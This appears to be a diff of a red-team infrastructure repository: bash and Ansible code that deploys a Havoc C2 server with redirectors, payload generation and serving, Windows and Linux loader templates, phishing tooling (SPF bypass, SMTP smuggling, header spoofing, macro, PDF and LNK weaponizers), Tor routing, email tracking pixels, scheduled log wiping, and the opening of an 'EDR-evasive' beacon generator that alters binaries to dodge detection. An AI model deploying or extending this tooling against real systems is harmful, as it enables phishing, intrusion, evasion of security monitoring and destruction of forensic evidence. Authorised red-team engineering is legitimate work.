||||
debug "Restarting Havoc service"
|
||||
systemctl start havoc
|
||||
|
||||
return 0
|
||||
else
|
||||
echo -e "${RED}Failed to obtain certificate for $domain${NC}"
|
||||
|
||||
# Restart Havoc
|
||||
debug "Restarting Havoc service"
|
||||
systemctl start havoc
|
||||
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to display DKIM/DMARC records
|
||||
show_dns_records() {
|
||||
domain=$1
|
||||
|
||||
debug "Showing DNS records for $domain"
|
||||
|
||||
if [ -f "/etc/opendkim/keys/$domain/mail.txt" ]; then
|
||||
echo -e "\n${BLUE}DKIM DNS Record Information for $domain${NC}"
|
||||
echo -e "${YELLOW}Add the following TXT record to your DNS:${NC}"
|
||||
echo -e "${GREEN}=================================================${NC}"
|
||||
echo -e "Name: mail._domainkey.$domain"
|
||||
echo -e "Value:"
|
||||
cat /etc/opendkim/keys/$domain/mail.txt | grep -v "^;" | tr -d '\n'
|
||||
echo -e "\n${GREEN}=================================================${NC}"
|
||||
fi
|
||||
|
||||
echo -e "\n${BLUE}DMARC Record Recommendation for $domain${NC}"
|
||||
echo -e "${YELLOW}Add the following TXT record to your DNS:${NC}"
|
||||
echo -e "${GREEN}=================================================${NC}"
|
||||
echo -e "Name: _dmarc.$domain"
|
||||
echo -e "Value: v=DMARC1; p=reject; rua=mailto:admin@$domain; ruf=mailto:admin@$domain; pct=100"
|
||||
echo -e "${GREEN}=================================================${NC}"
|
||||
}
|
||||
|
||||
# Function to test redirector connection
|
||||
test_redirector() {
|
||||
# Check if SSH to redirector is configured
|
||||
debug "Testing redirector connection"
|
||||
|
||||
if [ -f "/root/.ssh/config" ] && grep -q "Host redirector" /root/.ssh/config; then
|
||||
echo -e "\n${BLUE}Testing SSH connection to redirector...${NC}"
|
||||
if [ "$DEBUG" = true ]; then
|
||||
ssh -o ConnectTimeout=5 redirector "echo 'Connection successful'"
|
||||
else
|
||||
ssh -o ConnectTimeout=5 redirector "echo 'Connection successful'" >/dev/null 2>&1
|
||||
fi
|
||||
|
||||
ssh_result=$?
|
||||
debug "SSH connection result: $ssh_result"
|
||||
|
||||
if [ $ssh_result -eq 0 ]; then
|
||||
echo -e "${GREEN}SSH connection to redirector successful!${NC}"
|
||||
echo -e "You can access the redirector with: ${YELLOW}ssh redirector${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${RED}Could not connect to redirector.${NC}"
|
||||
echo -e "${YELLOW}Please verify SSH configuration and firewall rules.${NC}"
|
||||
return 1
|
||||
fi
|
||||
else
|
||||
echo -e "\n${YELLOW}Redirector SSH configuration not found.${NC}"
|
||||
echo -e "If you need to access the redirector, please check deployment logs."
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to synchronize payloads with redirector
|
||||
sync_payloads() {
|
||||
# Check if sync script exists
|
||||
debug "Attempting to synchronize payloads with redirector"
|
||||
|
||||
if [ -f "/root/Tools/secure_payload_sync.sh" ]; then
|
||||
echo -e "\n${BLUE}Synchronizing payloads with redirector...${NC}"
|
||||
if [ "$DEBUG" = true ]; then
|
||||
/root/Tools/secure_payload_sync.sh
|
||||
else
|
||||
/root/Tools/secure_payload_sync.sh >/dev/null 2>&1
|
||||
fi
|
||||
|
||||
sync_result=$?
|
||||
debug "Payload sync result: $sync_result"
|
||||
|
||||
if [ $sync_result -eq 0 ]; then
|
||||
echo -e "${GREEN}Payload synchronization successful${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${RED}Payload synchronization failed${NC}"
|
||||
echo -e "${YELLOW}Check /root/Tools/logs/payload_sync.log for details${NC}"
|
||||
return 1
|
||||
fi
|
||||
else
|
||||
echo -e "\n${YELLOW}Payload sync script not found${NC}"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to run redirector post-install script
|
||||
run_redirector_setup() {
|
||||
echo -e "\n${BLUE}Running post-installation setup on redirector...${NC}"
|
||||
debug "Checking if we can connect to redirector"
|
||||
|
||||
# First, test the connection
|
||||
if [ -f "/root/.ssh/config" ] && grep -q "Host redirector" /root/.ssh/config; then
|
||||
# Check if post_install_redirector.sh exists on the redirector
|
||||
debug "Checking for post_install_redirector.sh on redirector"
|
||||
ssh -o ConnectTimeout=5 redirector "test -f /root/Tools/post_install_redirector.sh" >/dev/null 2>&1
|
||||
|
||||
check_result=$?
|
||||
debug "Script check result: $check_result"
|
||||
|
||||
if [ $check_result -eq 0 ]; then
|
||||
echo -e "${BLUE}Running post-install script on redirector...${NC}"
|
||||
# Pass the debug flag if it's enabled here
|
||||
if [ "$DEBUG" = true ]; then
|
||||
ssh -o ConnectTimeout=10 redirector "/root/Tools/post_install_redirector.sh --debug"
|
||||
else
|
||||
ssh -o ConnectTimeout=10 redirector "/root/Tools/post_install_redirector.sh"
|
||||
fi
|
||||
|
||||
redir_setup_result=$?
|
||||
debug "Redirector setup result: $redir_setup_result"
|
||||
|
||||
if [ $redir_setup_result -eq 0 ]; then
|
||||
echo -e "${GREEN}Redirector post-installation completed successfully${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${RED}Redirector post-installation failed${NC}"
|
||||
return 1
|
||||
fi
|
||||
else
|
||||
echo -e "${RED}post_install_redirector.sh not found on redirector${NC}"
|
||||
return 1
|
||||
fi
|
||||
else
|
||||
echo -e "${RED}SSH configuration for redirector not found${NC}"
|
||||
echo -e "${YELLOW}Cannot run post-installation on redirector${NC}"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Main execution
|
||||
debug "Starting post-installation process with debug mode: $DEBUG"
|
||||
debug "Run on redirector flag: $RUN_ON_REDIRECTOR"
|
||||
|
||||
echo -e "\n${BLUE}Running post-installation checks...${NC}"
|
||||
|
||||
# Get domain information
|
||||
read -p "Enter primary domain: " domain
|
||||
read -p "Enter email for Let's Encrypt: " email
|
||||
|
||||
# Check DNS configuration
|
||||
echo -e "\n${BLUE}Checking DNS configuration...${NC}"
|
||||
check_dns $domain
|
||||
|
||||
# Ask if user wants to set up Let's Encrypt certificates
|
||||
read -p "Set up Let's Encrypt SSL certificate? (y/n): " setup_ssl
|
||||
if [ "$setup_ssl" = "y" ]; then
|
||||
setup_letsencrypt $domain $email
|
||||
fi
|
||||
|
||||
# Show DNS records to configure
|
||||
show_dns_records $domain
|
||||
|
||||
# Test redirector connection
|
||||
test_redirector
|
||||
|
||||
# Ask if user wants to sync payloads
|
||||
read -p "Synchronize payloads with redirector? (y/n): " sync_payload
|
||||
if [ "$sync_payload" = "y" ]; then
|
||||
sync_payloads
|
||||
fi
|
||||
|
||||
# Ask if user wants to run post-install on redirector
|
||||
if [ "$RUN_ON_REDIRECTOR" = true ] || test_redirector; then
|
||||
read -p "Run post-installation setup on redirector? (y/n): " run_on_redir
|
||||
if [ "$run_on_redir" = "y" ]; then
|
||||
run_redirector_setup
|
||||
fi
|
||||
fi
|
||||
|
||||
echo -e "\n${GREEN}Post-installation checks complete!${NC}"
|
||||
echo -e "${YELLOW}Ensure your DNS records are properly configured.${NC}"
|
||||
echo -e "${YELLOW}See your deployment log for complete infrastructure details.${NC}"
|
||||
@@ -0,0 +1,137 @@
|
||||
---
|
||||
# Advanced evasion techniques for red team phishing
|
||||
|
||||
- name: Install advanced evasion tools
|
||||
apt:
|
||||
name:
|
||||
- python3-dnspython
|
||||
- python3-requests
|
||||
- python3-selenium
|
||||
- chromium-browser
|
||||
- chromium-chromedriver
|
||||
- tor
|
||||
- proxychains4
|
||||
state: present
|
||||
|
||||
- name: Create SMTP smuggling configuration
|
||||
template:
|
||||
src: "../templates/smtp-smuggling.py.j2"
|
||||
dest: "/root/Tools/phishing/smtp-smuggling.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
when: enable_smtp_smuggling | default(false) | bool
|
||||
|
||||
- name: Configure SPF bypass techniques
|
||||
template:
|
||||
src: "../templates/spf-bypass.sh.j2"
|
||||
dest: "/root/Tools/phishing/spf-bypass.sh"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
when: enable_spf_bypass | default(false) | bool
|
||||
|
||||
- name: Create domain aging simulation
|
||||
template:
|
||||
src: "../templates/domain-aging.py.j2"
|
||||
dest: "/root/Tools/phishing/domain-aging.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
when: aged_domain_mode | default(false) | bool
|
||||
|
||||
- name: Set up MTA fronting configuration
|
||||
template:
|
||||
src: "../templates/mta-fronting.conf.j2"
|
||||
dest: "/etc/postfix/mta_fronting.cf"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
when: enable_mta_fronting | default(false) | bool
|
||||
notify: restart postfix
|
||||
|
||||
- name: Create file format manipulation tools
|
||||
copy:
|
||||
src: "{{ item.src }}"
|
||||
dest: "{{ item.dest }}"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
with_items:
|
||||
- { src: "../files/pdf-weaponizer.py", dest: "/root/Tools/phishing/pdf-weaponizer.py" }
|
||||
- { src: "../files/office-macro-generator.py", dest: "/root/Tools/phishing/office-macro-generator.py" }
|
||||
- { src: "../files/lnk-generator.py", dest: "/root/Tools/phishing/lnk-generator.py" }
|
||||
|
||||
- name: Create Living off the Land (LOtL) payload templates
|
||||
template:
|
||||
src: "{{ item.src }}"
|
||||
dest: "{{ item.dest }}"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
with_items:
|
||||
- { src: "../templates/lotl-powershell.ps1.j2", dest: "/root/Tools/phishing/templates/lotl-powershell.ps1" }
|
||||
- { src: "../templates/lotl-wmic.cmd.j2", dest: "/root/Tools/phishing/templates/lotl-wmic.cmd" }
|
||||
- { src: "../templates/lotl-bitsadmin.cmd.j2", dest: "/root/Tools/phishing/templates/lotl-bitsadmin.cmd" }
|
||||
|
||||
- name: Set up CDN abuse configuration
|
||||
template:
|
||||
src: "../templates/cdn-abuse.py.j2"
|
||||
dest: "/root/Tools/phishing/cdn-abuse.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
when: enable_cdn_abuse | default(false) | bool
|
||||
|
||||
- name: Create domain reputation monitoring
|
||||
template:
|
||||
src: "../templates/reputation-monitor.py.j2"
|
||||
dest: "/root/Tools/phishing/reputation-monitor.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Set up cron job for reputation monitoring
|
||||
cron:
|
||||
name: "Domain reputation monitoring"
|
||||
minute: "0"
|
||||
hour: "*/4"
|
||||
job: "/root/Tools/phishing/reputation-monitor.py >> /root/Tools/phishing/logs/reputation.log 2>&1"
|
||||
|
||||
- name: Create email header spoofing tools
|
||||
template:
|
||||
src: "../templates/header-spoofing.py.j2"
|
||||
dest: "/root/Tools/phishing/header-spoofing.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Configure Tor for anonymization
|
||||
template:
|
||||
src: "../templates/torrc-phishing.j2"
|
||||
dest: "/etc/tor/torrc"
|
||||
backup: yes
|
||||
notify: restart tor
|
||||
when: enable_tor_routing | default(false) | bool
|
||||
|
||||
- name: Create user-agent rotation script
|
||||
template:
|
||||
src: "../templates/user-agent-rotation.py.j2"
|
||||
dest: "/root/Tools/phishing/user-agent-rotation.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Set up automated evasion techniques
|
||||
template:
|
||||
src: "../templates/automated-evasion.py.j2"
|
||||
dest: "/root/Tools/phishing/automated-evasion.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
handlers:
|
||||
- name: restart tor
|
||||
systemd:
|
||||
name: tor
|
||||
state: restarted
|
||||
@@ -0,0 +1,344 @@
|
||||
---
|
||||
# Common tasks for configuring C2 server with Havoc C2 and EDR evasion
|
||||
# Shared across all providers
|
||||
|
||||
- name: Update apt cache
|
||||
apt:
|
||||
update_cache: yes
|
||||
|
||||
- name: Disable default Kali MOTD
|
||||
file:
|
||||
path: "{{ ansible_env.HOME }}/.hushlogin"
|
||||
state: touch
|
||||
mode: '0644'
|
||||
when: ansible_distribution == "Kali GNU/Linux"
|
||||
|
||||
- name: Set a custom MOTD
|
||||
template:
|
||||
src: "../templates/motd.j2"
|
||||
dest: /etc/motd
|
||||
owner: root
|
||||
group: root
|
||||
mode: '0644'
|
||||
|
||||
- name: Install base utilities and tools via apt
|
||||
apt:
|
||||
name:
|
||||
- git
|
||||
- wget
|
||||
- curl
|
||||
- unzip
|
||||
- python3-pip
|
||||
- python3-venv
|
||||
- tmux
|
||||
- pipx
|
||||
- nmap
|
||||
- tcpdump
|
||||
- hydra
|
||||
- john
|
||||
- hashcat
|
||||
- sqlmap
|
||||
- gobuster
|
||||
- dirb
|
||||
- enum4linux
|
||||
- dnsenum
|
||||
- seclists
|
||||
- responder
|
||||
- golang
|
||||
- proxychains
|
||||
- tor
|
||||
- crackmapexec
|
||||
- jq
|
||||
- build-essential
|
||||
- zip
|
||||
- unzip
|
||||
- postfix
|
||||
- net-tools
|
||||
- certbot
|
||||
- opendkim
|
||||
- opendkim-tools
|
||||
- dovecot-core
|
||||
- dovecot-imapd
|
||||
- dovecot-pop3d
|
||||
- dovecot-sieve
|
||||
- dovecot-managesieved
|
||||
- yq
|
||||
- build-essential
|
||||
# Additional Havoc C2 dependencies
|
||||
- mingw-w64
|
||||
- nasm
|
||||
- cmake
|
||||
- ninja-build
|
||||
- libfontconfig1
|
||||
- libglu1-mesa-dev
|
||||
- libgtest-dev
|
||||
- libspdlog-dev
|
||||
- libboost-all-dev
|
||||
- libncurses5-dev
|
||||
- libgdbm-dev
|
||||
- libssl-dev
|
||||
- libreadline-dev
|
||||
- libffi-dev
|
||||
- libsqlite3-dev
|
||||
- libbz2-dev
|
||||
- mesa-common-dev
|
||||
- qtbase5-dev
|
||||
- qtchooser
|
||||
- qt5-qmake
|
||||
- qtbase5-dev-tools
|
||||
- libqt5websockets5
|
||||
- libqt5websockets5-dev
|
||||
state: present
|
||||
|
||||
- name: Create directories for operational scripts
|
||||
file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
with_items:
|
||||
- /root/Tools
|
||||
- /root/Tools/beacons
|
||||
- /root/Tools/payloads
|
||||
|
||||
- name: Copy operational scripts
|
||||
copy:
|
||||
src: "{{ item }}"
|
||||
dest: "/root/Tools/{{ item | basename }}"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
with_items:
|
||||
- "../files/clean-logs.sh"
|
||||
- "../files/secure-exit.sh"
|
||||
- "../files/havoc_installer.sh"
|
||||
- "../files/havoc_shell_handler.sh"
|
||||
- "../files/secure_payload_sync.sh"
|
||||
|
||||
- name: Copy post-install script
|
||||
copy:
|
||||
src: "../files/post_install_c2.sh"
|
||||
dest: "/root/Tools/post_install_c2.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Copy port randomization script
|
||||
copy:
|
||||
src: "../files/randomize_ports.sh"
|
||||
dest: "/root/Tools/randomize_ports.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create post-install instructions
|
||||
template:
|
||||
src: "../templates/POST_INSTALL_INSTRUCTIONS.txt.j2"
|
||||
dest: "/root/POST_INSTALL_INSTRUCTIONS.txt"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Set up systemd timer for payload sync
|
||||
shell: |
|
||||
cat > /etc/systemd/system/payload-sync.service << 'EOF'
|
||||
[Unit]
|
||||
Description=Secure Payload Sync Service
|
||||
After=network-online.target
|
||||
|
||||
[Service]
|
||||
Type=oneshot
|
||||
ExecStart=/root/Tools/secure_payload_sync.sh
|
||||
User=root
|
||||
Group=root
|
||||
PrivateTmp=true
|
||||
StandardOutput=null
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
EOF
|
||||
|
||||
cat > /etc/systemd/system/payload-sync.timer << 'EOF'
|
||||
[Unit]
|
||||
Description=Secure Payload Sync Timer
|
||||
Requires=payload-sync.service
|
||||
|
||||
[Timer]
|
||||
OnBootSec=5min
|
||||
OnUnitActiveSec=30m
|
||||
RandomizedDelaySec=30m
|
||||
Persistent=true
|
||||
|
||||
[Install]
|
||||
WantedBy=timers.target
|
||||
EOF
|
||||
|
||||
systemctl daemon-reload
|
||||
systemctl enable payload-sync.timer
|
||||
systemctl start payload-sync.timer
|
||||
|
||||
- name: Install Havoc C2 Framework
|
||||
shell: "/root/Tools/havoc_installer.sh"
|
||||
args:
|
||||
creates: "/root/Tools/Havoc"
|
||||
async: 1800 # Allow 30 minutes for completion
|
||||
poll: 0 # Don't wait for completion
|
||||
register: havoc_installation_job
|
||||
|
||||
- name: Wait for Havoc installation to complete
|
||||
async_status:
|
||||
jid: "{{ havoc_installation_job.ansible_job_id }}"
|
||||
register: job_result
|
||||
until: job_result.finished
|
||||
retries: 60 # Check every 30 seconds for up to 30 minutes
|
||||
delay: 30
|
||||
when: havoc_installation_job is defined
|
||||
|
||||
- name: Display Havoc installation output
|
||||
debug:
|
||||
var: havoc_installation_result.stdout_lines
|
||||
when: havoc_installation_result.stdout_lines is defined
|
||||
|
||||
- name: Create Havoc payload generation script
|
||||
template:
|
||||
src: "../templates/generate_havoc_payloads.sh.j2"
|
||||
dest: "/root/Tools/generate_havoc_payloads.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create Havoc C2 configuration from template
|
||||
template:
|
||||
src: "../templates/havoc-config.yaotl.j2"
|
||||
dest: "/root/Tools/Havoc/data/havoc.yaotl"
|
||||
mode: '0600'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create Linux loader script template
|
||||
template:
|
||||
src: "../templates/linux_loader.sh.j2"
|
||||
dest: "/root/Tools/linux_loader.template"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create Windows PowerShell loader template
|
||||
template:
|
||||
src: "../templates/windows_loader.ps1.j2"
|
||||
dest: "/root/Tools/windows_loader.template"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create beacon server script from template
|
||||
template:
|
||||
src: "../templates/serve-havoc-payloads.sh.j2"
|
||||
dest: "/root/Tools/serve-havoc-payloads.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
vars:
|
||||
redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
|
||||
domain: "{{ domain }}"
|
||||
redirector_port: "{{ redirector_port | default('443') }}"
|
||||
|
||||
- name: Run port randomization if enabled
|
||||
include_tasks: port_randomization.yml
|
||||
when: randomize_ports | default(false) | bool
|
||||
|
||||
- name: Generate Havoc payloads
|
||||
shell: "/root/Tools/generate_havoc_payloads.sh"
|
||||
args:
|
||||
creates: "/root/Tools/Havoc/payloads/manifest.json"
|
||||
register: payload_generation_result
|
||||
environment:
|
||||
PATH: "{{ ansible_env.PATH }}:/usr/local/bin"
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Display payload generation output
|
||||
debug:
|
||||
var: payload_generation_result.stdout_lines
|
||||
when: payload_generation_result.stdout_lines is defined
|
||||
|
||||
- name: Start payload server
|
||||
shell: |
|
||||
nohup /root/Tools/serve-havoc-payloads.sh > /dev/null 2>&1 &
|
||||
args:
|
||||
executable: /bin/bash
|
||||
register: beacon_server_result
|
||||
|
||||
- name: Create NGINX configuration fragment for redirector
|
||||
template:
|
||||
src: "../templates/redirector-havoc-fragment.j2"
|
||||
dest: "/root/Tools/redirector-config.conf"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
vars:
|
||||
c2_ip: "{{ ansible_host }}"
|
||||
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
|
||||
|
||||
- name: Create Havoc usage guide
|
||||
template:
|
||||
src: "../templates/havoc-guide.j2"
|
||||
dest: "/root/havoc-guide.txt"
|
||||
mode: '0600'
|
||||
owner: root
|
||||
group: root
|
||||
vars:
|
||||
c2_ip: "{{ ansible_host }}"
|
||||
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
|
||||
|
||||
- name: Include traffic flow configuration
|
||||
include_tasks: "../tasks/traffic_flow_config.yml"
|
||||
|
||||
- name: Set up cron job for log cleaning if zero-logs enabled
|
||||
cron:
|
||||
name: "Clean logs"
|
||||
minute: "0"
|
||||
hour: "*/6"
|
||||
job: "/root/Tools/clean-logs.sh > /dev/null 2>&1"
|
||||
when: zero_logs | bool
|
||||
|
||||
- name: Ensure SSH key for redirector access is available
|
||||
block:
|
||||
- name: Copy deployment SSH key to C2 for redirector access (AWS)
|
||||
copy:
|
||||
src: "~/.ssh/c2deploy_{{ deployment_id }}.pem"
|
||||
dest: "/root/.ssh/redirector_key"
|
||||
mode: '0600'
|
||||
owner: root
|
||||
group: root
|
||||
when: provider == "aws"
|
||||
|
||||
- name: Copy deployment SSH key to C2 for redirector access (non-AWS)
|
||||
copy:
|
||||
src: "{{ ssh_key_path | replace('.pub', '') }}"
|
||||
dest: "/root/.ssh/redirector_key"
|
||||
mode: '0600'
|
||||
owner: root
|
||||
group: root
|
||||
when: provider != "aws"
|
||||
|
||||
- name: Create SSH config for redirector access
|
||||
blockinfile:
|
||||
path: /root/.ssh/config
|
||||
create: yes
|
||||
mode: '0600'
|
||||
owner: root
|
||||
group: root
|
||||
marker: "# {mark} ANSIBLE MANAGED REDIRECTOR CONFIG"
|
||||
block: |
|
||||
Host redirector
|
||||
HostName {{ redirector_ip }}
|
||||
User {{ ssh_user | default('root') }}
|
||||
IdentityFile /root/.ssh/redirector_key
|
||||
StrictHostKeyChecking no
|
||||
when: not redirector_only | bool and redirector_ip is defined
|
||||
|
||||
# Include integrated tracker tasks if requested
|
||||
- name: Include integrated tracker setup
|
||||
include_tasks: "configure_integrated_tracker.yml"
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
@@ -0,0 +1,150 @@
|
||||
---
|
||||
# Common task for configuring integrated email tracker on C2 server
|
||||
|
||||
- name: Check if integrated tracker setup is requested
|
||||
debug:
|
||||
msg: "Setting up integrated email tracker on C2 server"
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Install required packages for tracker
|
||||
apt:
|
||||
name:
|
||||
- python3-pip
|
||||
- python3-venv
|
||||
- python3-pillow
|
||||
- nginx
|
||||
- certbot
|
||||
- python3-certbot-nginx
|
||||
- jq
|
||||
state: present
|
||||
update_cache: yes
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Create tracker directory
|
||||
file:
|
||||
path: /root/Tools/tracker
|
||||
state: directory
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Create tracker data directory
|
||||
file:
|
||||
path: /root/Tools/tracker/data
|
||||
state: directory
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Create tracker system user
|
||||
user:
|
||||
name: tracker
|
||||
system: yes
|
||||
shell: /usr/sbin/nologin
|
||||
home: /root/Tools/tracker
|
||||
create_home: no
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Create Python virtual environment for tracker
|
||||
pip:
|
||||
virtualenv: /root/Tools/tracker/venv
|
||||
name:
|
||||
- flask
|
||||
- pillow
|
||||
- gunicorn
|
||||
virtualenv_command: /usr/bin/python3 -m venv
|
||||
environment:
|
||||
PATH: "/usr/local/bin:/usr/bin:/bin"
|
||||
vars:
|
||||
ansible_python_interpreter: /usr/bin/python3
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Copy tracker application code
|
||||
copy:
|
||||
src: "../files/simple_email_tracker.py"
|
||||
dest: /root/Tools/tracker/simple_email_tracker.py
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Copy tracker statistics CLI tool
|
||||
copy:
|
||||
src: "../files/tracker-stats.sh"
|
||||
dest: /root/Tools/tracker/tracker-stats.sh
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Copy systemd service file for tracker
|
||||
copy:
|
||||
src: "../files/tracker.service"
|
||||
dest: /etc/systemd/system/tracker.service
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Set correct permissions for tracker directories
|
||||
file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
owner: tracker
|
||||
group: tracker
|
||||
recurse: yes
|
||||
loop:
|
||||
- /root/Tools/tracker
|
||||
- /root/Tools/tracker/data
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Create NGINX site config for tracker
|
||||
template:
|
||||
src: "../files/tracker-nginx.conf"
|
||||
dest: /etc/nginx/sites-available/tracker
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
vars:
|
||||
tracker_domain: "{{ tracker_domain | default('track.' + domain) }}"
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Enable tracker NGINX site
|
||||
file:
|
||||
src: /etc/nginx/sites-available/tracker
|
||||
dest: /etc/nginx/sites-enabled/tracker
|
||||
state: link
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Configure redirector to proxy tracking requests
|
||||
lineinfile:
|
||||
path: /etc/nginx/sites-available/default
|
||||
insertafter: "^\\s*location / {"
|
||||
line: " # Email tracker proxy path\n location /px/(.*)\\.png$ {\n proxy_pass http://{{ c2_ip }}:443/pixel/$1.png;\n proxy_set_header Host {{ tracker_domain }};\n proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n proxy_set_header X-Real-IP $remote_addr;\n proxy_set_header X-Forwarded-Proto https;\n }"
|
||||
delegate_to: "{{ groups['redirectors'][0] }}"
|
||||
when: setup_integrated_tracker | default(false) | bool and groups['redirectors'] is defined
|
||||
|
||||
- name: Set up SSL if requested
|
||||
shell: |
|
||||
certbot --nginx -d {{ tracker_domain }} --non-interactive --agree-tos -m {{ tracker_email }}
|
||||
args:
|
||||
creates: /etc/letsencrypt/live/{{ tracker_domain }}/fullchain.pem
|
||||
when: setup_integrated_tracker | default(false) | bool and tracker_setup_ssl | default(true) | bool
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Start and enable tracker service
|
||||
systemd:
|
||||
name: tracker
|
||||
state: started
|
||||
enabled: yes
|
||||
daemon_reload: yes
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Add tracker alias to bashrc for easy access
|
||||
lineinfile:
|
||||
path: /root/.bashrc
|
||||
line: 'alias tracker="/root/Tools/tracker/tracker-stats.sh"'
|
||||
state: present
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
@@ -0,0 +1,456 @@
|
||||
#!/bin/bash
|
||||
# EDR-evasive beacon generator for Havoc C2
|
||||
# Every deployment produces completely unique payloads
|
||||
|
||||
# Configuration (automatically populated by Ansible)
|
||||
HAVOC_DIR="/root/Tools/Havoc"
|
||||
BEACONS_DIR="/root/Tools/beacons"
|
||||
C2_HOST="{{ ansible_host }}"
|
||||
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
|
||||
REDIRECTOR_PORT="{{ redirector_port | default('9443') }}"
|
||||
PROFILE_FILE="$HAVOC_DIR/config/profile.json"
|
||||
|
||||
# Ensure required directories exist
|
||||
mkdir -p $BEACONS_DIR/windows
|
||||
mkdir -p $BEACONS_DIR/linux
|
||||
mkdir -p $BEACONS_DIR/staged
|
||||
mkdir -p $BEACONS_DIR/shellcode
|
||||
|
||||
# Load Havoc configuration from profile
|
||||
if [ -f "$PROFILE_FILE" ]; then
|
||||
echo "[+] Loading Havoc configuration from profile..."
|
||||
TEAMSERVER_PORT=$(jq -r '.teamserver_port' "$PROFILE_FILE")
|
||||
ADMIN_USER=$(jq -r '.admin_user' "$PROFILE_FILE")
|
||||
ADMIN_PASS=$(jq -r '.admin_pass' "$PROFILE_FILE")
|
||||
HTTP_PORT=$(jq -r '.http_port' "$PROFILE_FILE")
|
||||
HTTPS_PORT=$(jq -r '.https_port' "$PROFILE_FILE")
|
||||
else
|
||||
echo "[!] Warning: Profile file not found, using default values"
|
||||
TEAMSERVER_PORT=40056
|
||||
ADMIN_USER="admin"
|
||||
ADMIN_PASS="admin"
|
||||
HTTP_PORT=8080
|
||||
HTTPS_PORT=443
|
||||
fi
|
||||
|
||||
# Generate unique random values for each execution
|
||||
random_string() {
|
||||
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
|
||||
}
|
||||
|
||||
# Anti-detection function to modify binary files
|
||||
modify_binary() {
|
||||
local input_file=$1
|
||||
|
||||
echo "[+] Applying anti-detection modifications to: $input_file"
|
||||
|
||||
# Create a temporary file
|
||||
local temp_file="${input_file}.tmp"
|
||||
cp "$input_file" "$temp_file"
|
||||
|
||||
# Modify the file based on its type
|
||||
if file "$input_file" | grep -q "PE32"; then
|
||||
# Windows EXE/DLL modifications
|
||||
|
||||
# Add random bytes to end of file
|
||||
dd if=/dev/urandom bs=1 count=$(( RANDOM % 1000 + 100 )) >> "$temp_file" 2>/dev/null
|
||||
|
||||
# Modify PE header timestamps with random value
|
||||
random_timestamp=$(printf '%08x' $(( RANDOM * RANDOM )))
|
||||
